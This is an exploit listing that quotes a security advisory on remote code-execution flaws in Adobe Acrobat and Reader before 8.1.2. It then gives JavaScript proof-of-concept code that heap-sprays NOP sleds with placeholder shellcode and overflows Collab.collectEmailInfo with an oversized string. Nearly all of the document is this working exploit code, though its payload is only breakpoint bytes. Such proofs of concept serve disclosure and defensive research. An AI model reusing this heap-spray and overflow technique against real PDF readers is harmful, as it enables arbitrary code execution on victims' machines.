25 lines
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860 B
Text
25 lines
No EOL
860 B
Text
source: https://www.securityfocus.com/bid/27641/info
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Adobe Acrobat and Reader are prone to multiple arbitrary remote code-execution and security vulnerabilities.
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Attackers can exploit these issues to execute arbitrary code in the context of the user running the affected application. Other attacks are also possible.
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Versions prior to Adobe Acrobat and Adobe Reader 8.1.2 are vulnerable to these issues.
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function repeat(count,what) {
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var v = "";
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while (--count >= 0) v += what;
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return v;
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}
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function heapspray(shellcode) {
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block='';
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fillblock = unescape("%u9090");
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while(block.length+20+shellcode.length<0x40000)
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block = block+block+fillblock;
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arr = new Array();
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for (i=0;i<200;i++) arr[i]=block + shellcode;
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}
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heapspray(unescape(“%ucccc%ucccc”));
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Collab.collectEmailInfo({
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msg:repeat(4096, unescape("%u0909%u0909"))}); |